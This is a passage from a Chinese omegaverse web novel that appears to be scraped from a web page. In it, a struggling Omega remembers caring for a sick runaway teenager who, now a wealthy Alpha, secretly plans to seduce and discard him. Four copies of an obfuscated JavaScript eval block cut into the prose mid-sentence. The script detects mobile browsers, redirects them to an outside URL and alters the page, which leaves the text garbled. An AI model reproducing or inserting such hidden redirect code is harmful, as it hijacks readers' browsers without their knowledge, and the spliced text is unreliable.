“哦,那你可别再见他了,他可不是什么好东西。”穆与说着冷笑了一声,“他为了接近我,不惜吃强效药装成Beta,结果还是被我识破,本来我已经不计较了,哪知道他追到这儿来找我要钱。” 冉小风抿了抿唇:“可是他说是为了他妹妹……” 穆与“嘁”道:“谁知道是不是编的,就算是真的,他妹要是知道他干这种事儿,只怕大学上着也膈应。” 冉小风又闭了嘴,无言以对,服务员适时推着餐车进来,将食物一一放在桌上,又替穆与杯中倒了红酒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775630|174706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当他拿着酒瓶转身面向冉小风,冉小风连忙道:“谢谢,我不喝酒。” “那跟您换成其他的可以吗?”服务员礼貌道。 “嗯,谢谢。” “您要热饮还是冷饮?”服务员从怀里拿出一本小册子,“这是饮品菜单,您可以看看。” 冉小风看着那个厚厚的小册子,封面上的价格就吓他一大跳,他心底莫名升起尴尬与恐慌,没伸手去拿,而是硬邦邦地道:“我喝水就可以了,温水。” 服务员将小册子收回来:“好的。” 他有些手足无措,没注意到对面的穆与听到他说不喝酒时,眼底闪过一道精光。 等服务员替他拿来温水,菜也都上齐了,由于桌子太小,桌面摆不下所有的菜,一半都放在桌边的餐架上。 这一桌子和桌架上放了十几个菜,样样都是精品,虽说每道菜分量不多,但加起来,就算两人是海胃也吃不完。 冉小风筷子都没拿,直愣愣地瞪着这些菜,他知道跟穆与这种人出来吃饭,肯定比普通人要奢华,但真吃上了他才知道,自己的想象力有多贫瘠。 一杯水都卖出了天价,这一大桌子菜,得花多少钱…… 冉小风的表情被穆与尽收眼底,他满心都是对这人的鄙夷,却没表现出来,而是大方地笑道:“你干嘛一脸苦大仇深的表情,不喜欢吗?” “没有。”冉小风眨了下眼,面上仍是呆愣,“……这么多,能吃完吗?” “又不是为了吃完,能吃饱就行。”穆与边说边将菜往冉小风碗里夹,“多吃点儿,你太瘦了,今天抓着你的时候,手里都是骨头,一点儿肉也捏不到。” 冉小风看着自己满满当当的碗,终究还是拿着筷子吃起来。 这一道道菜确实都是顶尖的美味,冉小风劳累一下午,肚子本来就饿,很快就被这些美味折服,不再想些七七八八的,老老实实吃起来。 越是贵的菜,他越不想浪费,但就算他卖力地吃了,还是剩了许多,架子上有几样菜甚至没摆上来。 冉小风看着那些还没动过的菜,有些心疼,犹豫着要不要提出打包,服务员在这时走了进来,收拾了桌子便推着餐车走了。 冉小风目送服务员离开,忽得听到穆与笑了一声:“你还没吃饱吗?” 不知道为什么,这话从穆与嘴里说出来,总给人一种讥讽的感受,冉小风抿了下唇:“吃饱了……现在走吗?” “急什么呀,再坐一会儿。” 冉小风扫了眼手机,这顿饭没吃多久,但他莫名有些急躁,他不想和这人继续待一起了。 他搞不懂穆与叫他来这儿吃饭的目的,两人身份悬殊,也不熟,一顿饭吃下来连句话都没说,现在也是毫无话题可谈。 既然如此,干嘛还把他耗在这儿? 冉小风忍了又忍,还是没忍住,只能尽量让自己的语气缓和点:“穆少爷,您是还有什么话要跟我说吗?我家离得很远,回去要很长时间,所以我想尽量早点离开。” 穆与忽然坐直了身子,手撑着下巴朝他倾过来,双目凝神地盯着他,好像要把他身上盯出个洞来。 冉小风被看得有点尴尬,只能低着脑袋用头顶回应,好半晌,他听到穆与的声音。 “你真的什么也记不起来了啊。” 这句没来由的话让冉小风怔住了。 穆与叹了口气:“也是,都过去了五年了,那个时候我还没分化完,没法释放信息素,你不记得了也正常。如果不是闻到你的信息素,我恐怕也认不出你。” 冉小风听得一脸懵,他看向穆与,茫然道:“我们认识吗?” 穆与眯起眼睛:“我都说到这个份儿上了,你还是没想起来吗?” 冉小风脑子里一片白,拼命回忆五年前的事,可那时候他正为重新找上门的债主焦头烂额,许多事情都被遗忘了,他怎么也想不出,什么时候见过穆与。 穆与又道:“其实我还挺纳闷的,你为什么要放着甜品店的工作不做,跑来做这种事情?” “甜品店”三个字终于触到冉小风的记忆,他愣愣地睁大了眼睛。 某段记忆在脑中一闪而过,冉小风捕捉到记忆中的那张脸,和穆与重叠在一起,模样确有几分相似。 他看着穆与,一时有些傻眼。 记忆的枷锁一旦被打开,那时发生的事情便倾泻而出,那时遇到的那个人,年龄确实和穆与对得上…… 但是,真的会有这么巧的事情吗? 4. 第 4 章 冉小风原本是还完了债务的。 在他二十岁的时候,靠着自己的不懈毅力,将最后一笔债款打进对方的账户里时,他觉得如释重负,一直黑着的天也终于照进来了太阳。 他删掉了那群人的联系方式,开始了全新的生活,他先维持了一段时间工作,在有了少量积蓄后,才辞去那些劳累的工作,想一门心思追求自己感兴趣的事情。 冉小风从小便对烘焙很感兴趣,当初在孤儿院,他总跟在院里的老阿姨屁股后面跑,每次她给院里的孩子们做甜品,他都不会缺席。 老阿姨爱做中式甜点,那些香喷喷的原料,打蛋、和面的动作和声音,无不让冉小风沉迷,他也说不出那是种什么感受,他很享受这样的时光,也很享受一盘子甜品出炉时,闻到满屋子飘香的心情,好像一切烦恼都冲淡了,美好的时间也拉长了。 当他年长一些,被允许帮着老阿姨一起制作,每每看到那群小孩子吃他的甜品露出欣喜的笑容,这种幸福感就会被无限放大。 尽管后来发生了那么多事,他不得不暂时搁置这个梦想,他也从未放弃过,在现在重获新生后,他买了一些烘焙相关的专业书,打算试着考一些证,工作也是以这方面为主,他找了一家甜品店,起初主要在后厨打杂,但也能跟着耳濡目染些知识。 冉小风从不是个胆怯的人,对于能把握的机会,他不会眼睁睁地错过,他在打杂时经常和厨师套近乎,也若有似无地表现出自己动手的能力,很快得到了那厨师的关注,成了他的学徒。 他就这么平静地度过了近半年的时间,也是他被领养后唯一正常的半年时间。 要说遇见穆与,大概是他平静日子结束的两个月前,那时候正值雨季,连着下了几天几夜的雨,刚放晴两天,又继续下起来。 下雨的日子生意通常不怎么好,店里冷清了一天,唯有晚上下班高峰期热闹了一会儿,就又没了人影。 冉小风记得那天连着收到三四条短信,都是关于暴雨预警的,店长大概也收到了,看着外面黑压压的天空,难得让他们提早下了班。 那时候冉小风攒了点钱,从老旧的合租房里搬了出来,换了个独身公寓住,那公寓也挺老了,还是楼梯房,他租的顶楼,价格便宜不少,但胜在内部环境很好,他这么些年卖力打工,没收获别的东西,唯有一身好力气,只是爬爬楼梯就能省大几百,对他而言很值了。 下雨严重影响了交通,即使提前下班,冉小风下车时也比平时还要晚,好在今天剩的蛋糕多,他带回家不少,可以凑合着应付一晚,不用再去超市买菜。 雨势渐大,敲打出极快的节奏,冉小风撑着伞走在雨幕中,鞋子和裤脚是湿了个彻底,他放弃挣扎,任前方有水洼也不绕路,径直往家里走,只想快点到家。 这条路他走了上百次,每天都是熟悉的场景,唯有那天不同。 他在每天经过的屋檐下发现了一个人,奄奄一息地倒在地上。 冉小风吓得后退了一步,定睛一看,确定那确实是个人,他四下张望,附近一个人影也没有,这小区本就老年人住得多,一下雨基本没什么人在外面待着。 这么一个大活人倒在地上,任谁看了都不会不管,冉小风小心翼翼地靠近,走到那人旁边。 那人全身都湿透了,头发湿哒哒地搭在额前,遮住了他的眼睛,他的脸发红,唇齿微启,有些急促地呼吸着,冉小风蹲下来,手指轻轻贴了下他的脸,立马烫得缩了回来。 烫成这样,怕是烧到了四十度。 冉小风按住他的肩膀摇晃:“喂……醒醒,你还好吗?” 冉小风接连喊了几次,那人都没一点反应,雨水忽然倾泻而下,伴随着一声响雷,那人抿起唇,发出痛苦的呻.吟。 再这么耗下去也没用,冉小风将那人扶了起来,又叫了几声,但那人已经几乎失去了意识,还是没有任何回应。 他想也没想,将那人背在身后,不方便打伞,只能将伞收起来,带着那人冲入雨中。 那雨并未因他们二人的闯入而变小,反而愈演愈烈,只是待了几秒,冉小风的身上也湿透了。 他背着人往社区诊所跑,那人的头埋在他颈窝,呼吸轻吐在他皮肤上,传递着微弱的生命气息,至少让他知道背后的人还活着。 托大雨的福,诊所里也没什么人,几个护士正坐在一起闲聊,见两个湿透的水人进来,大惊失色地围上前帮忙。 几人将晕倒的人抬进病房,冉小风拿了护士们递来的毛巾擦头发,再走进去,医生已经给那人挂上了水。 他去补了挂号和药钱,和医生大致说明了情况,留下电话后便离开了。 他独自回到家中,先去冲澡换了身干净衣服,这才回到桌前拆带回来的蛋糕。 手里的蛋糕经过一番折腾,已经烂成了一摊泥,好在冉小风不挑剔,反正吃下肚子都一样,而且虽然样子不美观,味道还是极好。 他将还保持着原型的蛋糕拿出来,单独用盒子装好放进冰箱,打算当做明早的早餐吃,剩下的则现在吃,还没吃完,电话就响了起来。 冉小风将电话接起:“您好,哪位?” “冉先生?我是xx社区服务中心的。”那头传来一个女声,“您刚才送来的男孩儿已经醒了,但还不愿意说话,我们问不出他家人的联系方式,您能来接一下吗?” 冉小风皱起眉,有些气恼,他只是好心将人送去看病,哪还想管后续的事,他问:“是不是应该报警?” 女生支支吾吾道:“嗯,您报警也可以,但现在我们这边还有其他病人,他的针也已经打完了……” 这种天气,诊所哪里有那么多病人,这话摆明是不想摊上麻烦事,冉小风心中叹了口气:“知道了,我马上过去。” 挂了电话,冉小风略微烦躁地站起来,老天爷也像看热闹不嫌事大,让那刚变小的雨又下得猛烈起来。 冉小风一边叹气,一边去拿衣服换,雨下成这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775631|174706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样,只怕穿什么出去都要遭殃,他干脆将换下来的湿衣服重新穿上,趿着人字拖便再次出了门。 这时的天已经黑了,路上更是一个人影也见不着,冉小风很快到了诊所,去病房找那男孩儿,他已经拔了针,正按着手背止血,面前的护士和他说着什么,面上有些红,两人听到声音,都朝他看了过来。 那时候那张脸,确实给了冉小风不小的冲击,他从来没想过世界上真的会有如此精致的一张脸,之前在雨中没仔细看,现在看下来,简直是造物主精心雕琢而成,每一笔都下了大功夫。 冉小风心中暗叹,面不改色地走过去,那护士又对他说:“他的烧还没退,今晚回去继续观察,明天最好再打一针。” “好。”冉小风道。 护士说完就去看其他病人了,冉小风望着面前男孩的头顶,问:“你知道家里人电话吗?” 男孩抬起头,一双清透水汪的眼珠子看着他,直叫他心神不宁,好一会儿,他抬起手,露出手腕上的电子表。 “这个里面有GPS定位,他们想找,随时都能找到我。”他声音有些沙哑,似乎还在变声期,虽然语气听上去很稳重,但掩盖不住嗓音中的稚嫩。 冉小风听懂了他的意思。 “……你和他们闹别扭了?” 男孩扭过头,又不说话了。 冉小风问他:“那你有朋友的联系方式吗?要不要先去他们家待会儿。” “……”还是一声不吭。 冉小风看着他,忽然想起自己在孤儿院时,那个爱闹别扭的弟弟,看上去是一声不吭,其实想法全在脸上,简直跟面前这人一模一样。 也罢,相逢即是缘分,也怪他自己多管闲事,帮了这么个忙,但那时周围也没人经过,要是他不管,只怕这孩子再躺会儿,就要烧出大毛病。 男孩的头发还没干透,身上也依然湿哒哒的,低着头失魂落魄的样子,任谁看了都会怜爱,更何况他还长了一张美貌的脸蛋。 最后冉小风还是妥协了,问他:“那你要不要先去我家?” 男孩还是抿着唇不吭声,但他撑着扶手缓缓站了起来。 冉小风虽然是Omega,但由于劣等的原因,他并没有像普通Omega那样矮小,虽然身材纤瘦,但身高也蹿到了一米七八,加上这么多年的摸爬滚打,四肢上都有一层薄薄的肌肉。 那时的穆与比冉小风还要矮小半个头,身形也比现在孱弱许多,加上带病在身,失去了许多活性,脸上也是一片惨白,两人相处时间不过一两天,连名字都不知道,也难怪再次见面,冉小风没认出来。 冉小风伸手扶住穆与,待他站稳才松开,穆与虚弱地跟在冉小风旁边,两人一起去拿了药。 冉小风递给他一把伞,有些担忧地看着他:“你能走吗?” 穆与点了点头,却连撑伞的力气都没有。 冉小风替他撑开了伞,自己走在前面,带着他一同走入雨幕之中。 5. 第 5 章 雨水重重地砸在伞面上,发出噼里啪啦的响声,也不知道天上在生什么气,这雨是越下越大,雷鸣阵阵,地上都被水打起一层白雾。 穆与本来就浑身乏力,走在这汹涌的雨幕中,更是寸步难行,冉小风走走停停,隔一会儿就回头看他一眼,这雨势太大,冉小风的伞又不足以两人使用,他没法去扶着穆与,只能靠他自己努力。 他指了指不远处,安慰穆与:“我家就在前面那个单元,很快就到了。” 穆与没说话,惨白的脸上一脸冷漠,走路晃晃悠悠,简直跟水鬼差不多。 原本两分钟能走到的地方,两人磨蹭了七八分钟,才终于进了单元楼。 穆与看见眼前的层层台阶,本就没有血色的脸更白了,他的眉头拧起来:“楼梯?” “是啊,这边都是楼梯房,你不知道吗?”冉小风疑惑地看着他。 “……我打车的时候随便报的地方。”穆与甩了甩伞上的水,又问,“你家在几楼?” 冉小风:“七楼。” “……” 这下穆与是真不干了,他靠着墙,烦道:“七楼那么高,是想要我死吗?” 冉小风看着他那副不耐烦的样子,竟然挺理解他。 面前这小孩儿从里到外,都透着一股不同于普通人的贵气,尽管他的衣服湿透,鞋子也沾了泥,丝毫不影响他本身高傲的气质,一看就是娇生惯养出来的,会落得现在这模样,估计也是他自己作,跟家里人吵了架一气之下离家出走。 他这样的孩子,别说楼梯,只怕路都走得少,更何况还发着烧,这七楼虽然不至于要他的命,但也绝对是一大折磨。 看着他那一脸不情愿的模样,冉小风在心里叹了口气,都把人带到家门口了,就帮人帮到底吧,也亏得这孩子长得漂亮,要是难看点的,他可能就执意把人扔警察局去了。 他走到穆与面前,将自己的伞递给他:“你拿着,我背你上去。” 穆与一脸震惊,瞪着冉小风,他压根没想过还能这样,本来他都在盘算着和家里打个电话,要人过来接算了,他也没料到前两天都没下雨,今天一走就遇到大暴雨,身上淋湿了不说,还发烧了。 他现在虽然打了一针,但身体还很无力,而且从头到脚没有一处不痛的地方,难受得他恨不得立马昏过去。 还不如等回去把病养好了,再离家出走,虽然这么做有点儿丢面子就是了。 但他怎么也没想到,冉小风居然愿意背他上楼,眼见着人已经走到了面前,等他将伞接过来,便转身半蹲下去。 冉小风等了没多久,背后一沉,穆与搂着他的脖子贴着他的背,他两手环住穆与的双腿,一用力站了起来。 穆与虽然矮他小半个头,但到底是个大男孩儿,体重还是摆在那儿,冉小风站起身时不太稳,朝前踉跄了两步,吓得穆与连忙收紧胳膊,两条腿也夹紧了。 他原本虚弱的声音都因为慌张而大了不少:“你小心点啊。” 冉小风笑道:“放心吧,你抓稳,不会摔了你的。” 他就这么背着穆与,一步步朝楼上走去,为了保存体力,他每一步都走得很慢,这样的场景让他仿佛回到了十年前,还在孤儿院的日子。 那时他在孤儿院,已经算个大孩子,又因为经常做蛋糕,深受大部分孩子的喜爱,每次一起玩时,他们都爱爬到他身上,要他抱要他背,他也乐意至极。 他自己都没想到,好不容易被别人领养后,孤儿院的那段时光竟然成了他童年最好的回忆。 一丝热意从后颈传来,冉小风回过神,发觉穆与整张脸都埋在他发间,两只手也捏成了拳头。 他上楼有些轻喘,但语气很柔和:“怎么了,还很不舒服吗?” “嗯。”穆与的嗓音蔫蔫儿的,支吾道,“你身上怎么这么香。” 这话让冉小风卡了下壳:“我回家之后洗了头和澡。” 穆与没再说话,但鼻子一直蹭着冉小风后颈,那里有最脆弱敏感的腺体,是所有Omega的禁区,不过身后的人看起来还没分化,自己又是劣等Omega,虽然有些痒痒的,他也没说什么。 眼看已经到了五楼,冉小风加快速度,一鼓作气爬了上去,在自家门口将人放了下来。 他拿出钥匙开门,自己先进了屋,给穆与找了双拖鞋。 穆与虽然比他矮,但脚却大了些,那拖鞋穿着有点挤,显得有些滑稽。 冉小风将两把伞都接了过来,扔去卧室连着的小阳台上,再出来见穆与还站在门口,道:“你烧还没退,不能洗澡,先拿热毛巾擦一擦吧,我给你找毛巾和衣服。” 穆与点点头,一眼便找到了浴室,慢慢悠悠地走了过去。 冉小风找了个新毛巾,又挑了套宽松的衣服,一并给穆与送去,他坐在客厅里等,潮湿的衣服贴在身上,让他很不舒服,他估摸着还得等老半天,也顾不得没重新洗个澡,去卧室换了身睡衣,整个人舒坦不少。 雨声淅淅沥沥,犹如白噪音一般在冉小风耳边回旋,他靠着沙发昏昏欲睡,也不知过了多久,才终于传来开门的声音。 他租的这房子有快二十岁了,浴室门打开时会发出刺耳的声音,很快便将他吵醒。 他抬起头,看着穆与一身热气地走出来,整个人都清醒了,起身走过去。 “你洗澡了?”冉小风问完,又觉得自己问了个蠢问题,面前的人头发都是湿的,发梢还在滴水,洗发水的香味散出来,何止是洗澡,连头发都洗了。 穆与见他靠近,顺势就倒在他身上,隔着衣服的体温传递过去,都烫得不行:“雨水黏在身上,不洗难受。” 冉小风扶住他,很是无奈,但洗都洗完了,他再责怪也没意义,他搀着人去了卧室,又去浴室翻出许久未用的吹风机,还好还没坏,他拿着走回卧室,穆与已经躺在床上,拿被子将自己裹了起来。 冉小风惊讶于他的自来熟,很快又反应过来,这人只是单纯不懂礼貌,明明是第一天来别人家,寄人篱下却像家里的主人一样,就这么大赖赖地躺着了。 但他也没说什么,他家就这么一张床,就算穆与不自作主张,他也会要他去睡,现在还省了虚与委蛇的交谈。 他走过去扒拉穆与的肩膀:“先起来,把头发吹干再睡,还要吃药。” 穆与一脸烦躁地皱着眉,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775632|174706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没力气抵抗,只能顺着他的手坐起身。 他抓着冉小风的胳膊,耷拉着脑袋不说话也不动,摆明了是不打算自己吹头。 冉小风觉得自己是帮到祖宗了,打开吹风机帮他吹。 等头发吹完,穆与又病恹恹地躺了回去,冉小风给他冲好药,放到床头柜上,又去洗了个澡,顺手搓了衣服,拿着洗好的衣服去卧室小阳台晾。 穆与背对着门,却是在摆弄自己的手表,冉小风去晾好了衣服,回来见他还盯着手表看,问道:“你家人联系你了吗?” 穆与的手顿了顿:“嗯。” 冉小风又问:“那他们现在来接你?” “明天,现在都几点了……”穆与说完,又竖起脑袋瞪着冉小风,“你这么想我走?” 冉小风哭笑不得:“你现在生着病,还在一个陌生人家里,他们都不担心吗?” 穆与撇撇嘴:“有什么好担心的,我都高二了,而且我手表有定位,你要是敢绑架我,倒霉的是你自己。” 冉小风暗暗算了算他的年龄,决定不跟小屁孩儿计较,他拿起喝完药的空杯子,走出了卧室,将杯子洗干净后,又回去拿毛毯。 在他拿着毯子再次往外走时,穆与叫住了他:“你去哪儿?” 冉小风回头:“我去客厅睡觉。” 穆与又瞪起眼睛,放在那张脸上却没什么杀伤力:“为什么去外面睡,你怕我把病传染给你?” “……我们都不认识,难道要我跟你一起睡?” “我都来你家了,还说不认识?”也不知道是不是药起了作用,穆与说话的声音都有力了许多,他翻了个身,拍拍自己右边的空位置,“这里可以睡。” “……” 冉小风无话可说,他感觉在这个家里,这人比他还要自在。 “我去关灯。”冉小风道。 他将毯子扔到床上,去客厅锁门关灯,又打着手电筒走进卧室,将卧室灯也关上,这才走到床边,在穆与边上躺了下来。 他把手机放到床头柜充电,关掉手电筒,整个房间都黑了。 穆与也安静下来,房间里一片静谧,只能听到外面水击打在瓦片上的响声。 冉小风仰头看着天花板,想到边上躺着个人,还是个今天刚认识的陌生人,就觉得有些恍惚。 从养父母的房子搬出来后,他便过上居无定所的日子,那时租的房子又破又烂,虽说是合租,但他从未跟合租室友有过交流,工作上更是跟同事没什么话可聊,今天是他离开孤儿院后,第一次和别人共度一个夜晚,两个人甚至连对方名字都不知道。 穆与活跃了几句话又蔫儿下来,冉小风累了一天,现在躺在床上放松下来,很快就有了困意,也没心思主动挑起话题。 即便身边躺了个不认识的人,他也很快就睡着了,他朝右翻了个身,睡梦之中,穆与不知何时从他背后抱住了他,他恍惚地醒了一瞬。 “嗯?”冉小风半睡半醒地沉吟了一声。 “……我冷。”穆与贴着他的脖子,吐出两个字。 他无意识将自己的毛毯拽起来,往穆与那儿塞了点,困意袭来,再次睡了过去。 6. 第 6 章 穆与看清冉小风的表情,笑道:“你想起来了?” 冉小风回过神,对上穆与的视线,又缓缓垂下眼睛。 他想起来了,再准确点说,那一晚上的事情,他根本就没忘过,那么特殊的一个夜晚,即使过了这么多年,回想起来依然记忆犹新。 他还记得那晚过后的第二天,穆与就被家人接走了,一并带走的还有他留给穆与当早餐的蛋糕。 那个时候他已经出门上班,连穆与最后一面都没见着。 后来的两个月,穆与的哥哥隔三差五就会来他工作的蛋糕店,指名要买他做的蛋糕,穆与倒是再没出现过。 冉小风没记住穆与,却是把哥哥记住了,他们两人长得不像,只有很仔细地对比,才能找出些许相似之处,这也是为什么再次相遇,冉小风完全没认出穆与来。 再后来,那群可恶的债主二次找上门,原本说好要他还债的金额被推翻,他再次奔波于还债,重新跌回黑暗泥沼当中,这段特殊的记忆也被封尘在了心里。 其实就算现在回想起来了,他也没法把那时高傲的小公子,和现在这个笑脸盈盈的人重合在一起。 只是过去了五年,一个人可以变化这么大吗? “其实刚见到你的时候,我也觉得很意外,我那时生病是因为分化期要到来了,回家以后,我在家待了两个多月,腺体才稳定下来,再去找你时,你已经不在那里工作了。”穆与道,“后来我又去了解过其他蛋糕店,也没找到你的踪迹,你那时不在A市吗?” “嗯,我离开过一段时间。”冉小风道。 A市物价出了名的高,房租也不便宜,他那时再次陷入生活拮据的境地,所以搬去外省待了一段时间,稳定下来后才重新回到这边,想着大城市机遇多点,钱也能挣得多点,那时穆与应该已经在国外了。 他没多做解释,穆与也没兴趣了解,只笑着道:“怪不得……能再次见到你真的太好了。你知道吗?那段时间是我最痛苦的时期,我的分化期很特殊,完全不能接触外人,只能自己闷在房间里,我对很多气味都异常敏感,只有你做的蛋糕不让我难受,多亏了它,我才熬过了痛苦的两个月。” 穆与的语气真诚,反倒让冉小风有些不好意思,但自己的成果能获得这样的称赞,还是让他很欣慰,他浅浅地笑了:“谢谢,能帮到你我也很开心。” 穆与专注地盯着他的笑脸,问:“你现在不做蛋糕了吗?” 冉小风顿了顿,没有将真实想法说出来,穆与是酒店老板的小孙子,说的话怎么着都有点儿分量,他才刚来这里一天,总不能明目张胆地告诉别人,他未来会跳槽。 他思索片刻,回道:“我目前以工作为主。” 穆与有些夸张地叹了口气:“真遗憾,我还想吃你做的。” 这话简直说到了冉小风心尖上,他已经许多年没有听别人说过这样的话了,疲惫忙碌的工作阻碍了他一切社交,这些年他是一个朋友都没交到,别说是做蛋糕,连相约外出吃饭都从未有过。 有时候遇到空闲时间,他会自己做着玩儿,但也没人可以分享,只能自己默默吃掉。 现在时间宽裕了,他又有精力学习相关知识,要是再来一个鉴赏者,冉小风求之不得。 他看着穆与,道:“我家里有工具,你如果想吃,我今晚做好明天带给你。” 穆与目光闪烁,很快又皱起了眉头:“那不就隔夜了吗?我想吃新鲜的。” 这让冉小风犯了难,这类食品放一晚上,确实有些影响口感,但又能怎么避免呢?他总不能要穆与让他去酒店的餐厅做,他哪有这个资格。 冉小风正发愁地想办法,又听到穆与说:“不如我去你家吧。” 冉小风怔了怔,为难道:“我家太远了。” 穆与无所谓道:“有什么关系?反正可以坐车去。” “不行。”冉小风立刻回绝,又意识到这话说得有些生硬,“……真的很远,就算坐车也得一个多小时,而且现在还是堵车高峰期。” 穆与似乎在考虑,他偷偷观察着穆与的表情,希望穆与能听明白自己的心声。 他不明白穆与想干什么,为什么会在重逢的第一天,就表现得和他如此亲密?他跟穆与虽说有那么一段回忆,但那都多少年前的事儿了,而且那时候的穆与只是个没分化的小屁孩儿,现在却已经成为了优等Alpha,只是随便释放一点信息素,就能让他失控。 这么危险的一个人,他怎么会带去家里?穆与的这个提议,都让他觉得荒唐至极。 他刚对穆与放下的戒心,又一次提了起来,如果穆与执意要去他家,那这么个鉴赏者不要也罢。 “那好吧。”穆与妥协了。 冉小风暗暗松了口气。 “这边离你家那么远啊,那你待会儿打算怎么回去?”穆与问。 冉小风实话实说:“我坐地铁。” “那不是更花时间。”穆与说罢拿起手机,指头在上面滑动,“我帮你叫个车吧,你把地址输进去。” 他说完将手机递过来,冉小风看着屏幕上的叫车界面,抿了抿唇:“真的不用,地铁站就在附近。” “那也要坐很久呀,而且还不一定有座位。”穆与见冉小风半天不接,干脆把手机放到他面前,“小风哥,我只是希望你回家路上舒服点儿,你不要什么都拒绝我,再说了,是我非要邀你来吃饭,才害你晚回家,我当然要负责到底了。” 你也知道吃饭的事是强迫的啊。 这话冉小风也就在心里想想,他面上为难,关心的却是另一件事:“您叫我名字就好,别这样叫我。” “我刚说了,不要什么都拒绝我。”穆与的语气沉了些,又笑道,“你比我大,我叫你一声哥不是很正常吗?” “……”冉小风是一句话都说不出来了。 他看着穆与的笑容,那样好看的一张脸,配上那无害的笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775633|174706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容,任谁看了都会着迷,好像他的所说和所做,全部都是出于一颗真心,没有掺入半点虚假。 冉小风闭了闭眼睛,妥协了,穆与做的这些事,都对他有利无弊,他又干嘛要拒绝呢?而且穆与说的也没错,自己被他强制性带来这儿,害得回家还得多花半小时,愿意负责送他岂不是更好?省得他花那么大精力回家。 他拿起穆与的手机,输进了自己的地址,还回去的时候还是忍不住补了一句:“谢谢,叫普通的出租车就好了。” 穆与心满意足地把手机接过来,哼哼了两声,没有回应。 两人一起离开了包间,那经理就守在门口,将一个信封递给穆与,又好声好气护送他们下楼、出门。 不出所料的,来的车依然是辆看着就贵的suv,司机从车上下来,招呼着冉小风上车。 车都到眼前了,再纠结也没什么意义,冉小风最后看了穆与一眼,在他的微笑中坐上了车。 车刚驶离视线,穆与的脸色就冷了下来,他臭着脸在手机屏幕上摁了几下,拨通了张世诚的电话。 那头很快就接了起来:“喂?穆哥?” “出来喝酒。”穆与迅速抛出四个字,就把电话掐了。 他转过身,重新回到餐厅,那经理还在门口等着,见他回来一点儿不意外,反而一脸讪笑地凑上来:“穆少爷,我还纳闷儿您怎么带着人走了呢,那小鸭子自己回去了?” 穆与没否认经理对冉小风的称呼,懒散地说:“是啊,他喝不了酒,约着也没劲。” “那还是跟以前一样?您先过去,我给您找几个?” 经理说的位置就在餐厅五楼,像这种豪华的大餐厅,除了有供人吃饭的地方,自然也有饭后娱乐的场所。 为了保护客人隐私,这种地方都不装摄像头,娱乐的方式就不言而喻了,自然是五花八门。 穆与冷笑一声:“可别又像昨天那样,找来个恶心人的Omega。” 他又想到昨晚的经历,生理性不适起来,他本来对昨晚还挺满意,那个陆麋看着纯,实际上骚得很,非常清楚怎么取悦他,哪知道做得好好的突然闻到令人作呕的气味,差点儿没给他弄萎了,要不是今天冉小风插上一脚,他绝对不会轻易放过他。 想到冉小风,穆与不自觉眯起了眼睛,这人是他目前唯一能接受的Omega,长相气质也还算符合他的喜好,就是身世差了点儿,不过他倒无所谓,反正他不缺钱,也不在意冉小风家里什么样,越是像这种没钱没势的,反而越好骗,到时候玩腻了,甩也甩得轻松。 今天光是在他房间浴室里缠绵那一会儿,就差点害他把持不住,如果能骗到手玩个痛快,他都不敢想会有多爽。 “穆少爷,您放心,以后我绝对亲自审核,杜绝发生同样的错误!”经理唤回了穆与的思绪,义正严词地说着,好像是在说什么很正经的事情。 穆与也没再说什么,跟着经理往楼上走去。 7. 第 7 章 之后的几天,冉小风过得很顺利,他很快适应了新工作,每天都认真地完成了属于自己的任务。 这项工作比他以前做的那些轻松,也没什么用到脑子的地方,工资还算可观,唯一不太好的就是他住的太远,每天往来路上要消耗很多时间。 如果能在这里暂时稳定下来,他倒是打算搬到附近来,虽说市中心的房租更贵,但他自己一个人,对房子没什么很高的要求,也不是没可能找到便宜的,实在不行还能跟别人合租。 在这个新工作环境下,他的社交状态没什么变化,在他遇见的同事当中,他是最年轻的,再大一些的孩子至少七八岁了,他和他们只能见到了寒暄两句,没什么共同语言,有时候一起坐在休息室,也只有听别人聊天的份儿,自己是一句话也插不上嘴。 